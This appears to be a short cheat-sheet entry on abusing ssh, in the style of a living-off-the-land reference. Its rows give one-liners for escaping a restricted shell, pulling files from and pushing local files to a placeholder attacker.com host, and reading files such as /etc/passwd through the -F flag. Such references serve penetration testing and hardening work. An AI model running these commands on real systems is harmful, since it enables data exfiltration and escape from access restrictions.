| description |
code |
| Reconnecting may help bypassing restricted shells. |
ssh localhost $SHELL --noprofile --norc |
|
|
| description |
code |
| Fetch a remote file from a SSH server. |
HOST=user@attacker.com
RPATH=file_to_get
LPATH=where_to_save
ssh $HOST "cat $RPATH" > $LPATH
|
|
|
| description |
code |
| Send local file to a SSH server. |
HOST=user@attacker.com
RPATH=where_to_save
LPATH=file_to_send
ssh $HOST "cat > $RPATH" < $LPATH
|
|
|
| description |
| Read strings from text files. Reliability depends on content of files but works well with /etc/passwd |
|
| code |
| LFILE=file_to_read
ssh -F $LFILE localhost
|
|
|
